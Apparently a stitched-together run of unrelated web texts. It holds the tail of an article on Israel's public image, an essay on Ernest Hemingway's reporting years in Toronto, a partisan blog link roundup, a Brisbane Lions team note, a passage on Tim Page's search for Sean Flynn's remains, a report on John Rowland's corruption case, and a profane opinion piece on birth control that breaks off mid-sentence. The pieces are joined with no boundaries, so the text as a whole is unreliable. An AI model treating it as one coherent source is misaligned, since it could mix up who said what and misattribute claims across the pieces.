West Bank. "Israel's public image today is dismal," wrote Alon Ben-Meir, a New York University lecturer in a recent editorial in The Jerusalem Post. "The public relations problem is not due to a lack of attention. The entire world is watching Israel closely, but it does not like what it sees." Aryeh Green, head of the Israeli advocacy group MediaCentral, welcomed the new PR initiative, but said efforts should also remain focused on promoting accuracy of news reporting from Israel, rather than solely concentrating on putting across a message. The Foreign Ministry initiative, if it goes ahead, will join private advocacy efforts led by groups such as the Israel Project and British-led Bicom, which, among other things, lead tours examining threats to Israel's security and fly over foreign journalists and commentators to meet politicians, decision-makers and analysts. Other pro-Israel groups, such as Honest Reporting and the Committee for Accuracy in Middle East Reporting in America scour media reports to root out what they perceive as biased or incorrect reporting, and lead email campaigns against journalists or organisations regarded as prejudiced. Whether Mr Lieberman's plans can do more remains to be seen. At least one Israeli official has argued that such initiatives have failed before: "With every change of season, there will be a politician announcing unofficially a big PR campaign that will change Israel's image," the official said. Others will likely question Mr Lieberman's suitability for the role. A former nightclub bouncer with an assault charge to his name, he has alienated many foreign officials. Many Israelis feel that there is little that can be done to improve Israel's international image, particularly in Europe, where anti-Israel sentiment is seen to be on the rise. In a recent poll conducted by Tel Aviv University, 56 percent of Israelis said they believed "the whole world is against us," while 77 per cent said the world would always criticise their efforts to resolve the decades-long conflict. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now -culture In Our Town: Ernest Hemingway in Toronto How the legendary writer got his start in T.O. Toronto in 1920 was nothing if not a clean, well-lighted place. In fact, the city’s puritan reputation rendered it so clean—at least in the spiritual sense—that it was near the point of sterility. Certainly, the church spires that dominated the city’s skyline did not inspire the type of exploration of the psyche’s darker elements typical of so many postwar novels. Yet it was in Toronto, in 1920, that one of the greatest of all modernist writers began his professional career. Ernest Hemingway is the most prominent writer ever to have called Toronto home, however reluctant he was to recognize the city as such. He didn’t achieve fame until the 1926 publication of The Sun Also Rises, two years after he quit his post at the Toronto Daily Star and moved to Paris. Nevertheless, his life in Toronto and the journalistic work he produced here offer an interesting—if unflattering—glimpse at postwar Toronto in all its sanctimonious frigidity. Not only that, but Hemingway’s dispatches for the Star make evident the evolution of the writer’s signature terse, bold prose. As the writer illuminates the city, so the city illuminates the writer. In Another Country It was, as you might expect, Hemingway’s proclivity for storytelling that landed him a job in Toronto. While cottaging with his family in Petoskey, Michigan, Hemingway was asked to deliver a speech at the local women’s club, sharing with the audience his experiences as a soldier with the Italian army during the First World War, from which he had recently returned. Of course, Hemingway had never fought with the Italian forces. He had been a volunteer ambulance driver with the Red Cross. He was handing out chocolates and cigarettes to Italian soldiers when his leg was seriously wounded by mortar fire. After extensive surgery and a long period of convalescence, he was sent home to the United States, having served for two months. This, however, did not make for a good story. So Hemingway procured a custom-tailored Italian officer’s uniform and cape, and made up a better one instead. Harriet Connable, a wealthy Torontonian who was vacationing in Petoskey with her husband, Ralph, was so moved by Hemingway’s speech at the women’s club that she asked if he would consider staying at the couple’s mansion in Toronto. Harriet believed that the courage and pluck Hemingway showed in recovering from his leg injury might serve as an inspiration to her invalid son, Ralph Jr., and so she offered him a position as the boy’s caretaker and mentor while she and Ralph Sr. travelled to Florida on holiday. Through the elder Ralph’s business connections, Hemingway was able to secure a job writing features for the Star Weekly. Hemingway was excited by the prospect of working for the Star, but less enthusiastic about taking care of Ralph Jr., whom he regarded as an irredeemable bore. The Connables insisted that Hemingway, who was adept at nearly every sport he tried, should attempt to interest their sickly son in athletics. One such attempt entailed taking Ralph to watch the Toronto St. Patricks, who, seven years later, would be renamed the Maple Leafs. Although the St. Pats were not a particularly skilled team in 1920, they were an undoubtedly truculent one, and Hemingway admired their scrappy style of play. That’s right: Ernest Hemingway was a Leafs fan. Incipient Greatness For the most part, Hemingway neglected his duties as Ralph’s mentor to focus on writing for the Star Weekly. His early work for the paper bears little resemblance to the minimalist prose that would eventually become his hallmark, perhaps in part because he was being paid less than a penny per word. His first piece, “Circulating Pictures,” published February 14, 1920, explains a peculiar trend that had emerged among the women of Toronto: The principle under which the circulating gallery is operating is this: the young matrons select the pictures they wish from the rich, semi-starving or impecunious artists, depending upon the degree of the artist’s modernity and his facility with advertising, and pay ten percent of the picture’s assessed value. They then have possession of it for six months. The present scheme has been for each of the young women to have two pictures and after their kick—to use a slang phrase—has worn off, or after it has become so intensified as to make an exchange advisable, to trade with her nearest fellow member of the gallery. The above passage, which rather long-windedly says that the women in question have devised a scheme whereby they may rent paintings from local artists and exchange them at will over a period of six months, is followed by a set of examples of how the scheme might play out in practice. Hardly vintage Hemingway. The young writer would soon find his voice, however. In “Lieutenants’ Mustaches,” written for the Star just two months after his initial offering, an inchoate form of the “Hemingway style” begins to emerge. The piece, like so much of Hemingway’s later short fiction, is composed mainly of dialogue. Its terse-speaking characters—two returned veterans—are stoic and masculine. Little of what they think or feel is spoken of directly or addressed by the narrator—a narrative technique that Hemingway dubbed the “iceberg theory” of composition, and on which he would expatiate in 1932’s Death in the Afternoon. Themes and leitmotifs that appear in Hemingway’s early novels and short stories (a reluctance to speak of the war directly, contempt for those who did not fight, and reflections on the pointlessness of war generally) are present in the short piece. “We didn’t get nothing permanent good out of the war,” one of the veterans remarks, “except for the lieutenant’s mustaches. Plenty of them about.” Hemingway’s more descriptive narrative passages are notable for their use of conjunctions in place of punctuation. These passages, juxtaposed as they are with Hemingway’s typically brusque dialogue, achieve an impressionistic effect. This technique, too, is apparent in several of Hemingway’s features for the Star, including “The Blind Man’s Christmas Eve,” published in December 1923. From that piece: He was feeling a strange tight feeling inside himself and he was seeing things. He saw broad fields sloping away and he smelt the odor of bacon being fried early in the morning. He heard the pounding that thoroughbred horses’ hoofs make as they sweep down in a pack toward a fence and he saw that glimpse of a pleasant country that a man gets as he is on rises over a fence full in a pounding gallop. He saw a big square bed with linen sheets and a small boy tucked in the bed listening while someone sat on the bed and stroked his head and talked to him. And he saw a small boy rising early in the morning and going downstairs to start out across the frost-rimmed fields with his dog and his gun. Compare with Hemingway’s more pronounced use of the technique in the descriptive opening passage of 1929’s A Farewell to Arms, In the late summer that year we lived in a house in a village that looked across the river and the plain to the mountains. In the bed of the river there were pebbles and boulders, dry and white in the sun, and the water was clear and swiftly moving and blue in the channels. Troops went by the house and down the road and the dust they raised powdered the trees. The trunks of the trees too were dusty and the leaves fell early that year and we saw the troops marching along the road and the dust rising and leaves, stirred by the breeze, falling and the soldiers marching and afterward the road bare and white except for the leaves. In his later years, Hemingway would cringe to hear his early journalistic work mentioned alongside his novels. He believed that working as a reporter had the pernicious effect of eroding a writer’s memory, every day forcing him to forget and move on from all that he had written the day before. Still, it’s obvious that his career as a journalist had an appreciable effect on the pared-down style that typified his fiction. Departure and Return By May of 1920, Hemingway had fulfilled his duties as Ralph Connable Jr.’s nanny, and, free of his charge, he decided to go back to the cottage in Michigan. He continued to write features for the Star, including one entitled “The Hamilton Gag,” which offers a glimpse of what passed for humour in postwar Toronto. According to the article, every musical show in every theatre in the city would include what Hemingway calls the “Toronto-Hamilton gag”: Sooner or later you know that you will hear it. Before the evening is over you are confident it will make its appearance. It always does. It is the thousand-time perpetrated Toronto-Hamilton gag. Usually it comes out like this. First Comedian: “Do you live in the city?” Second Comedian, hitting him across the face with a sausage so the audience will not forget that he is a comedian: “No, I live in Hamilton!” Hemingway then proceeds to insult the intelligence of theatre-going Torontonians with the sarcastic assertion that any hackneyed dialogue coupled with comic violence may be considered a “comedy triumph” in Toronto: Combining the principle of comic violence with some really snappy local dialogue, visiting comedians should be able to add the desired “hometown” stuff to their performance without employing the old Hamilton wheeze. These are offered as suggestions to any members of either voadveel [sic] or the legit who care to make use of them: This would be very funny: First Comedian: “Have you a mayor here?” Second Comedian: “Ha, Haw!” First comedian then hits second comedian with a chair, knocking him over the footlights into the audience. Cheer after cheer rocks the house. Hemingway left cottage country a few months later, but, rather than returning to Toronto, he took up residence in an apartment in Chicago while still writing weekly features for the Star. In a piece dated November 6, 1920, Hemingway draws a number of comparisons between wild and bustling Chicago, and pious, soporific Toronto. One such comparison, ostensibly in Toronto’s favour, maybe be shocking to Torontonians today: “Now the reason that Chicago is crime-ridden and Toronto is not lies in the police forces of the two cities. Toronto has a force that for organization, effectiveness and esprit de corps is excelled nowhere in the world.” In Chicago, Hemingway would meet his first wife, Hadley Richardson. After marrying her in September 1921, he took a position as a foreign correspondent for the Star in Europe. He was enchanted by Paris, and his first literary work, Three Stories and Ten Poems, was well-received by the city’s expatriate artistic community, including one of the era’s greatest literary lights, Ezra Pound. But Hemingway was offered a position with the daily edition of the Star, and Hadley was pregnant with the couple’s first child. Toronto doctors had a reputation for delivering babies safely, and Hemingway was exhausted by his travel schedule as a foreign correspondent. Moving back to Toronto was the logical thing to do. “The people are all merde.” Unfortunately, Hemingway regretted his decision to leave Paris in the summer of 1923 almost immediately. When his ship approached the St. Lawrence, he resisted the urge to disembark at Montreal, where he believed he would be able to experience some semblance of the French lifestyle he’d come to love. In a letter to Ezra Pound, written from his room at a Sherbourne Street hotel, he whinged, “It couldn’t be any worse. You can’t imagine it. I’m not going to describe it.[…] I have not had a drink in five days.” Of Torontonians he wrote, “We have come to the right place to have a baby because that is the specialite de ville. They don’t do anything else.” Hemingway was bored, sober, and surrounded by Protestants. Worse still, he was despised by his new editor at the Daily Star. Harry Hindmarsh thought Hemingway an arrogant hothead, and was determined to crack him. Hemingway frequently worked 18-hour days, often embarking on out-of-town trips. He even missed the birth of his son, John Hadley, because he was on a train headed back to Toronto. This understandably vexed Hemingway, who wrote in a letter to Gertrude Stein: Was on train at a smut session with correspondents and titled coal barons in the press car while baby was being born. Two o’clock in the morning. Heard about it ten miles out of Toronto and came in intending to kill City Editor, Hindmarsh. Compromised by telling him would never forgive him of course and that all work done by me from now on would be with the most utter contempt and hatred for him and all his bunch of masturbating mouthed associates. By this time, Hemingway thought of Toronto as an odious puritanical burg, and perhaps unfairly extrapolated his opinion of the city to Canada as a whole. In another letter to Ezra Pound, Hemingway, annoyed that purchasing candy from the drugstore was prohibited on Sunday, wrote that Canada “is the fistulated asshole of the father of seven among Nations.” And Canadians, he claimed “are all merde [that is, shit].” Hemingway’s contempt for Canada was, by late 1923, not limited to his private letters. On December 15 of that year, two short pieces written by Hemingway—one titled “I Like Americans,” the other “I Like Canadians”—appeared in the Star. The latter piece backhandedly says of Canadians, “They go home at night. Their cigarettes don’t smell bad. Their hats fit. They really believe they won the war. They don’t believe in Literature. They think Art has been exaggerated. But they are wonderful on skates. A few of them are very rich. But when they are rich they buy more horses than motorcars.” (Interestingly, Hemingway’s perception of Canadians is generally consistent with your average Montrealer’s perception of Torontonians: artless, old-fashioned, and ruthlessly clean.) A number of Hemingway’s observations about 1920s Toronto can be transposed onto the present day. In an article from December 1923 called “Young Communists,” he writes, “Now what are Communists? Most Toronto people lump Socialists, Syndicalists and Communists vaguely together as Reds and let it go at that.” He could be describing the views of some of today’s city councillors. Of course, Hemingway’s prescience would prove limited, as evidenced by his statement that “No city in the world has a better-run and more comfortable streetcar system than Toronto.” The End of Something By late 1923, Hemingway was exhausted by the demands of his editor, Harry Hindmarsh, and had come to despise the Star, which he saw fit to use as paper towel. As he wrote in a letter to Ezra Pound, “[the cat] has moved her shitting place from the back of the bath tub and is taking example of this new Freedom. Later in the evening I will track down the piece of Merde by the smell and will carefully wipe it up with the aid of a copy of the Toronto Star.” He found little time to write fiction, and Canada offered him no inspiration. In December, he resolved to leave. But before tendering his resignation, Hemingway decided to make his feelings known to Hindmarsh. According to newsroom legend, Hemingway typed out a long and scathing letter, taped the sheets of copy paper together, and posted it on the newsroom bulletin board for all to see. Farcically, Hindmarsh pretended not to notice the letter, which is reputed to have been 16 feet long. Hemingway eventually wrote a more succinct letter of resignation, but he waited until December 27 to send it, so he would be assured his Christmas bonus. By early January 1924, he had returned to Paris. It was in Paris, of course, that Hemingway forged his brilliant literary career and his larger-than-life image. He held his journalistic work for the Toronto Star in low esteem, and was loathe to speak of it publicly. It’s unlikely that Hemingway ever acknowledged, even to himself, the importance of this city to his artistic and professional development. But isn’t it pretty to think so? Sources Ernest Hemingway: A Life Story by Carlos Baker Ernest Hemingway: Selected Letters, 1917–1961 (edited by Carlos Baker) Hemingway: The Toronto Years by William Burrill Death in the Afternoon by Ernest Hemingway Hemingway: A Biography by Jeffrey Meyers “The Art of Fiction No. 21” from The Paris Review (interviewed by George Plimpton) Dateline: Toronto (edited by William White) -Here’s a collection of things I wanted to talk about but don’t have a full post in me for. 1. Apparently, Ohio is also passing an abortion ban, presumably to create the jobs they keep saying is their priority. Miri has the details and is encouraging people to call John Kaisich and tell him to line-item veto that provision from the budget bill. I encourage you to go over there and get the details on how. I just did, and I don’t even think modern Republicans ever give a shit about public opinion, but it didn’t hurt me. The part that gets me, however, is this bit: Doctors must inform patients seeking abortions exactly how much money the clinic made from abortions within the past year, and how much money the clinic stands to lose if the patient chooses not to get an abortion. In case it’s unclear, the point of this is to warn patients that there is a “conflict of interest” involved in providing abortions because clinics can make money from them. This is ridiculous because any medical procedure can make money for doctors and hospitals. You’ll notice that with the advent of 501(c)4s and the GOP’s favorite Court ruling, Citizen’s United, that the opposite is true of them. If I were a principled Democrat in Ohio, every bill will have a proposed amendment that you cannot submit a bill in the state legislature without it saying how much you have received from the relevant special interest group and how much you stand to lose in campaign donations if the bill doesn’t pass. 2.Will Wilkinson talks about why Republicans would bother standing against immigration reform when it’s clear that even 86% of Republican voters think a “pathway to citizenship” is a good idea. And the answer is that they have a hard core base that really is dedicated to identity politics. The energetic ideological base of the Republican Party is a nationalist, identity-politics movement for relatively well-to-do older white Americans known as the “tea party”. The tea party is interested in bald eagles, American flags, the founding fathers, Jesus Christ, fighter jets, empty libertarian rhetoric, and other markers of “authentic” American identity and supremacy. That America is “a nation of immigrants” is a stock piece of American identity politics, but the immigrants that made America America were, well, not Mexican, and spoke English, or at least Pennsylvania Dutch. Sorry Mexicans! Even if each element of immigration reform, taken in isolation, is agreed to be a good idea by a solid majority of Republican voters, Republican politicians must nevertheless avoid too-enthusiastically supporting this package of good ideas, lest they fail to project sufficient appreciation for the importance of keeping America American and putting Americans first. This is where I think there is an element of cognitive dissonance present in a lot of GOP voters. They don’t think of themselves as hurting immigrants, they don’t want to hurt anybody, but they also want to feel more authentic, more American than somebody, and immigrants are a traditional target. They prioritize their desire to feel superior, better than, over their desire to help people who may have been raised in this country, entirely unaware that their parents brought them here illegally as babies. They aren’t entirely unfeeling toward other people, which is why they support parts of the bill, but a whole bill threatens their feeling of supremacy and that cannot happen. 3. This is the boy I wish I was when I was 13. In fact, this is the boy I wished I was when I was 13. Will Phillips has been a social justice activist since he was 10 years old. Matt Barber has questioned his motivations and suggested he’s been “brainwashed” (which is wingnut speak for “taught that other people matter”). He initially got famous for refusing to say the Pledge because he didn’t feel that we did have “liberty and justice for all.” Most recently, he spoke at the Northwest Arkansas Pride Parade. This kid is amazing and has a bright future ahead of him. Go read about him now. 4. TW: cults, murder, homophobia. “Lord” Pete Moses is the leader of a Judaism-based cult. And he has just been found guilty of murdering two of his followers, one of which was a 4-year-old boy who was killed because Moses thought he was gay. At the very least he will be going to jail, the sick fuck. Sentencing is next Friday. 5. If you have small children, you should fill out this form saying you would be interested in getting them this awesome toy to teach your youngsters about evolution. Even if you don’t have kids you should fill it out. This is not buying the product, they are gauging interest in it, and filling out the initial form will not ask you for credit card information, but will give you an opportunity to give comments. 6. If you remember me talking about Joe Klein and how he apparently doesn’t understand that atheists help people, there have been multiple updates. First, Klein himself tried to weasel his way out of his comments by claiming that he only meant organized atheist groups, which is still incorrect. Now Time has come out with its own statement, and basically they’re supporting Klein, which is why I highly suggest that you contact Time and let them know that this is utterly unacceptable, that inaccurate reporting has no excuse, and that you intend to cancel your subscription if you have one. On a side note, I was helping my friend with her baby yesterday. Funny how Joe Klein wasn’t there to help. 7. This baby duck was born with a deformed leg. So, rather than give him a peg leg or letting him suffer, science has found a solution. Using a 3D printer, people made a mold for a silicone prosthetic leg and foot for Buttercup. All the feels for this one. 8. I was torn about this for a whole 3 seconds before recognizing the problems with it. Basically, it’s a website that is encouraging a movement for “Christian Domestic Discipline” which we are told is a consensual arrangement that includes male domination and punishments like spanking. Christian Domestic Discipline is not BDSM. It is not a game. While we do not deny its sometimes erotic nature, it is ultimately not for erotic purposes. It is often much different than the domestic discipline you will find outside of the Christian faith. The thing is, it sounds a lot like BDSM. However, my experience has taught me that I can’t trust that Christianists aren’t lying when they say stuff like “consensual”, and there is a question of whether a lifetime’s worth of being told that this is the natural order of things leaves a person in a position to meaningfully consent or not. However, giving the women involved in this the benefit of the doubt, I see nothing on their website about wives who want to exit this “consensual” arrangement, or merely drop that aspect of it without getting a divorce. I also see no mention of safe words and very little in the way of safety instructions to keep husbands from going too far (I suppose god will stop them?), which means it is very, very, very not BDSM. Essentially, as a Dom/sub relationship with a religious play component, this could be really hot. As a lifestyle with no escape routes, no safety instructions, and no apparent care for the lives of women who get into this other than value paternalistic nonsense, it sounds both dangerous and abusive, despite claims that it is not (because saying that something is not abusive/racist/homophobic/otherwise awful totes makes it true). 9. #4 on this Fred Clark link list. Just go read it. I think that’s everything for now. Oh, if you haven’t, please go vote on my new tagline. It’ll only take a second and be really helpful. Advertisements -REBORN footballer Mitch Robinson continues to enhance his reputation, with the one-time bad boy handed the Brisbane Lions' captaincy for Sunday's NAB Challenge clash against Gold Coast. Robinson has turned his career around since he was delisted by Carlton at the end of 2014. The Lions have harnessed his aggression and the 26-year-old has become a leader of an inexperienced midfield group. Now Robinson will lead a young squad – 10 players could pull on the guernsey for the first time against the Suns – at Burpengary in skipper Tom Rockliff's absence. Exciting key forward Josh Schache is in line for his first match after wowing onlookers in intraclub hit-outs with his strong-marking and dead-eye set shot. The No.2 draft pick could also be joined by 2015 recruits Ben Keays, Eric Hipwood, Reuben William and Rhys Mathieson Rockliff, Pearce Hanley, Dayne Zorko, Daniel Rich and North Melbourne recruit Ryan Bastinac are among those rested who should play in the Lions' second pre-season match against St Kilda in Mackay. -Their disappearance has become one of the enduring mysteries of the war, two young journalists — like movie adventurers — riding their motorbikes into no man’s land and losing a bet against fate. Mr. Flynn, the dashing and glamorous son of the movie star Errol Flynn, had in fact briefly been an actor, and he brought an aura with him to Vietnam that gave his disappearance at the age of 28 a mythic quality. “Sean Flynn could look more incredibly beautiful than even his father, Errol, had 30 years before as Captain Blood,” wrote Michael Herr in his classic book about the war, “Dispatches.” “But sometimes he looked more like Artaud coming out of some heavy heart-of-darkness trip, overloaded on the information, the input!” Mr. Page had shared some of those journeys into darkness, and his visit to Pkhar Doung was the latest of many searches in what he called “a 25-year madness” in pursuit of the bones of the man he calls his brother. Weeks earlier two bounty hunters made a false claim to have found them, reviving interest in the disappearance and spurring American investigators to step up the search for the missing journalists. Mr. Page said, “I don’t like the idea of his spirit out there tormented,” a wandering ghost that could find rest, as many in Asia believe, only after proper funeral rites. “There’s something spooky about being M.I.A.” Advertisement Continue reading the main story Mr. Page is also seeking a measure of peace for his own soul, scarred like his body from the traumas of combat, from nearly fatal wounds and from the loss of friends, trying to put together what he calls “an enormous jigsaw puzzle, bits of sky, bits of earth.” “I don’t think anybody who goes through anything like war ever comes out intact,” he said. “I suppose the closure of Sean’s fate also has to do with closure of the whole war experience.” Theirs was an intimacy forged by shared danger and by what Mr. Page calls the magnetic pull of two only sons searching for a bond. Photo “We could have been brothers, and felt as though we were,” Mr. Page wrote in a memoir, “Derailed in Uncle Ho’s Victory Garden.” “We would sit for hours in the same room, hardly speaking yet in total communication, a vibration as intimate as between lovers.” FOR Mr. Page a lonely intimacy has continued, and he hears what seems to be the voice of his friend from time to time, the voice of a tormented spirit. “We have conversations in strange moments, and often enough to remind me of the presence of his spirit,” Mr. Page said on his recent drive to Pkhar Doung. “It’s there but not there, and you’re aware that there’s something somehow lurking, just out of reach.” Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. As he drives past the rubber trees, whose rapid regular repeated rows create the illusion of some ghostly shifting world in the distance, he said, he often hears his friend’s voice: “What are you doing, man? What are you doing, boy? What are you doing, mate?” Mr. Flynn’s lost bones and wandering soul are not alone in Cambodia, where as much as a quarter of the population died in the late 1970s during the brutal rule of the Khmer Rouge. Many of their remains, like those of Mr. Flynn, are still unidentified in killing fields around the country. Cambodia was a particularly dangerous place for foreign journalists during five years of war before the Khmer Rouge victory in 1975. At least 37 died or disappeared, including 15, along with Mr. Flynn and Mr. Stone, in a six-week period in 1970. Advertisement Continue reading the main story After pursuing various theories and false trails, Mr. Page said he now believed that Mr. Flynn survived for a year after his disappearance and might have been killed by lethal injection at a field hospital here. On a visit last year, Mr. Page recovered some medical vials and turned them over for analysis to the American military office in Hawaii that seeks to recover the remains of missing soldiers. This new visit to Pkhar Doung did little to solve the mystery. Since the bounty hunters ravaged the site with a backhoe, the American military office, known by its acronym, JPAC, has sealed it off. Mr. Page was turned away by the local police. In the future, he said, he planned to talk with nearby villagers who might have some memory of captive foreigners long ago and what became of them. Even if he never does succeed, Mr. Page said his search had helped him honor both Mr. Flynn and other journalists who had died or disappeared in Vietnam, Cambodia and Laos. HIS pursuit has inspired a documentary, a new memorial to dead and missing journalists in Phnom Penh, journalism courses for local reporters and most significantly a book titled “Requiem,” which includes the work of 135 photographers from all sides who died covering Indochina’s decades of war. Mr. Page, who grew up in Britain, taught himself photography and covered the war as a freelancer from 1965 to 1969, sending pictures to major American and French publications, including Time and Life, Look and Paris Match. He became known for his vivid combat pictures and also for the risks he took and the wounds he survived. At the time Mr. Flynn disappeared, Mr. Page had suffered his most severe injuries, from a mine explosion that sent shrapnel into his brain and body. He was pronounced dead on arrival at a hospital, he said, but surgeons revived him for a long and painful recovery. The thin borderline between life and death still seems to draw him. Advertisement Continue reading the main story “At the end of the day, the mysticism of it — living, not living — becomes a mystery,” he said, “and I don’t think we are ever privileged except on death’s doorstep to actually understand it.” He hovers close, though, pouring his energies into his search for the unmarked grave of his friend, then sometimes finding comfort in the quiet of a cemetery. “It’s always peaceful in a cemetery,” he said. “Everyone there has found rest. All the tribulations of life are over, and you return to the peace of nothingness.” -by Hugh McQuaid | Jun 17, 2014 12:24pm ( ) Comments | Commenting has expired | Share Posted to: Courts, Election 2012, Election Policy, Ethics, Legal Federal prosecutors asked a judge this week to deny former Gov. John G. Rowland’s request to dismiss campaign corruption charges against him. Prosecutors called Rowland’s arguments “unconvincing,” but said he could make them to a jury. Last month, Rowland’s attorneys filed a motion to dismiss seven federal charges relating to consulting work the former governor performed in 2012 for 5th Congressional District candidate Lisa Wilson-Foley. The work and Rowland’s $35,000 compensation weren’t reported to election regulators. The government says Rowland “devised a scheme” to work for Republican congressional candidates and even drew up phony contracts to hide his involvement from the regulators. However, Rowland’s lawyers challenged all seven counts of alleged wrongdoing and asked Judge Ellen Bree Burns to dismiss the case. They disputed the government’s claim that the former governor had executed any fraudulent contracts. Although the documents are cited in the government’s indictment, Rowland’s attorneys insist they were never signed and were written broadly enough to encompass any campaign consultant work he did. In one of six motions filed this week by the government, Assistant U.S. Attorney Liam Brennan said Rowland could tell that to a jury. “This is an issue for trial. The defendant claims that the provisions of the draft contract are so wide ranging and open ended that they would encompass working on Candidate 2’s campaign. This argument, however unconvincing, is an argument that the defendant can make to a jury,” the document reads. The evidence against Rowland includes the texts of several emails sent from the former governor as he aggressively, but unsuccessfully, tried to involve another candidate, Mark Greenberg. In Greenberg’s case, Rowland proposed to work on behalf of his campaign while entering into a contract purporting to work for “The Simon Foundation,” Greenberg’s animal rescue center in Bloomfield. Last year, an attorney for Rowland sent prosecutors a copy of the proposed contract as evidence Rowland intended to work for the shelter, according to the recent court documents. “Indeed, the government expects to prove that the proposed contract was not only created to obstruct justice, but that it was actually used for that very purpose,” the document reads. Prosecutors also have communications between Rowland, Wilson-Foley and her husband, Brian Foley, as they drafted and entered a contract through the law offices of an attorney for Brian Foley’s nursing home company. Earlier this year, the Foley’s pleaded guilty to related charges and implicated Rowland. Court documents from the Wilson-Foley case suggest Rowland tried to conceal his involvement with the campaign while accepting payments for work he was purporting to do for Foley’s nursing home. “I am just a volunteer helping you and ‘many other Republican candidates’ in case anyone asks,” Rowland emailed Wilson-Foley in November 2011. “I want to stay under the radar as much as possible and get the job done.” Prosecutors insist the contracts described in the indictment are “tangible and real” and far from just a “thought crime,” as Rowland’s attorney’s have argued. Throughout the new court documents, the U.S. attorneys were often dismissive of arguments made by Rowland’s attorneys, which they characterize as far-fetched. They describe one argument as based on an “imaginary” premise and another an invitation to “enter a parallel universe and imagine” a scenario which the government was never trying to prove. In addition to Rowland’s motion to dismiss, prosecutors responded to a request by his attorneys for stricter jury selection tools. Rowland’s legal team has asked the court to issue a written questionnaire for the potential jury pool and permit individual interviews with jurors. They also want five additional peremptory challenges and at least four alternate jurors. The request is based on media coverage of Rowland’s case, which his lawyers contend has been unsympathetic and has often mentioned the former governor’s prior corruption charges. He served 10 months in federal prison on a conspiracy charge after resigning the governor’s office in 2004. Prosecutors accused Rowland attorney Reid Weingarten of “fueling” the news media coverage by making a statement to reporters on the steps of a federal courthouse in April. The U.S. attorneys also point out that Rowland’s lawyers are seeking more peremptory challenges than the number awarded to lawyers for Zacharias Moussaoui, a man who pleaded guilty to plotting the 9/11 terrorism attacks. “That is, in the prosecution of the most heinous crime in American history, the trial court awarded two additional peremptory challenges. The defendant in this case seeks five additional peremptory challenges,” the document said. Rowland was released from prison in 2006 and took a job as director of economic development for the city of Waterbury in 2008. Two years later he began working as the host of an afternoon drive political talk show on WTIC. Rowland resigned from that job in April amidst calls from many, including Democratic Gov. Dannel P. Malloy, for WTIC to remove him from the airwaves. -Lets look at reality and birth control. People use birth control for a reason. Because they don't want children right now, for whatever reason. According to these churches, birth control even inside marriage is "immoral". What they are apparently saying is that once you get married, you either must not engage in sexual activity with your spouse or you are supposed to have and raise all the children "God" has "blessed" you with. First... I think most spouses of both genders would be really annoyed if they could only have sex to procreate. Talk about a way to destroy a relationship! "No honey, we can't have sex anymore. We had twins from the one time we had sex and we can't handle anymore!". Sorry, In a normal, healthy relationship, I don't see that happening. The need for intimacy with the one you're in a relationship with is too essential to keeping that relationship alive and functioning. So, according to these churches, no sex unless you make a baby. How is that pro-"life"? Of course, if you and your spouse do give into those desires, you can not protect yourself from getting pregnant. At all. So if you get pregnant, oh well. You have a baby. Great. I've been married 23 years. That means I would have had the potential to have at LEAST 20 kids by now!!! Lets face the facts... the majority of couples in the entire world that could possibly support and raise that many kids these days is REALLY small. Financially alone most of us couldn't do it. These days, it takes both couples working their tales off just to afford 2 or 3 kids. But 20 kids? Not all of us are the Duggart family, we can't afford it and we wouldn't want it. Having that many kids means SOME one, usually the mom, has to stay home and be enslaved to the kitchen, laundry and nursery to care for them all. Which means, there is only one income to support all those mouths to feed. Good luck with that. Unless you are an executive with a golden parachute you'd be living in complete poverty. So would your children. How is that pro-"life"? The world already has a population of 7 BILLION. And that is with most couples in the "first world" nations only having a few kids per couple. Can you imagine if EVERYONE had 20 kids? Scientists are already in a panic because we have reached our limit for natural resources. They are now predicting major wars over water and land resources since we keep polluting them to attempt to provide for everyone on the planet. Without a major change, they are predicting major, terrible wars and mass starvation if something isn't done about our population. And yet.. these churches want you to constantly procreate. How is that pro-"life"? That is of course saying you can actually take care of another baby. Or any baby. Another fact.. sadly, there a lot of people out there, single and married, who should never have had kids. Child abuse and neglect occur every day, in ways we don't even want to consider. If those children are not killed outright by their parents (in ways that are just terrible to behold), then they live with the catastrophic effects of child abuse. Those effects can linger for life, causing depression, self hatred and criminal activity and that's just for starters. Their lives are a constant struggle with pain and self doubt and they often become under achievers.Without help, they will often go on to abuse others including their own children. How is that pro-"life"? Then there is the idea of "if you don't want it, put it up for adoption". For some reason, all these people think adoption is the perfect solution. I don't know who came up with that line of bullshit. It's sort of a solution, in SOME cases,but not all. The simple fact is, the only babies really in demand are healthy white ones. The kids that aren't that.. are of different races, born with disabilities or drug problems and such, are very hard to place even now! Never mind when we have an even larger number of them. So what happens to those babies no one wants? They are abandoned at hospitals until the state can find a foster home for them. Unfortunatly, the number of decent foster homes is going down dramatically, so they will be there a LONG time before a slot becomes available.Then they are dumped in foster home after foster home until they are 18, then kicked out of the system on their own with little or no support. Most of the kids this happens to end up with major mental issues, as well as having been abused. (See above). They are never really cared for, never get love from a "real" parent, never learn to love themselves, never have a stable background or upbringing. They are cast out on the world with no help and no safety net, with fewer skills and somehow are expected to hit the ground running... when all they usually do it hit the ground. How is that pro-"life"? It also occurs to me that these same people who say they are pro-"life" are the same people who scream about providing any kind of funding for children and families. They are constantly blaming their political enemies for allowing services such as welfare, medical care and food stamps. But how will families live and provide care for their children without it? Even when we are just having 3 kids per couple, if someone loses their job the whole family can be put in the poor house. So they are telling us essentially to have those 20 kids but they aren't going to help us provide for them. Once they are BORN, they are your problem, not their's. Again, sounds like pro BIRTH to me. They want to force you to have a child you either don't want or can't afford to feed. How is that pro-"life"? There are already countries in which access to birth control is rare or non-existent. In those places, women are forced to have child after child, since they often also have no say over if they will have sex or not. What happens to those children? As already stated, it takes a massive amount of resources to raise just 3 kids to adulthood - and that is in a first world country! In poorer countries its even worse!! Look at Africa. Do you know how many children die each day from starvation and lack of medical care? I can answer you. Thousands. They die a horrible death, slowly wasting away in agony because their parents can not afford to feed 15 kids. How is that pro-"life"? Let's continue to look at another side of this. What about children born with disabilities? Simple fact.. there are families (I know one) in which ALL of their children are disabled. What about the children? All are disabled enough that they will never have a "life" as we know it. They will 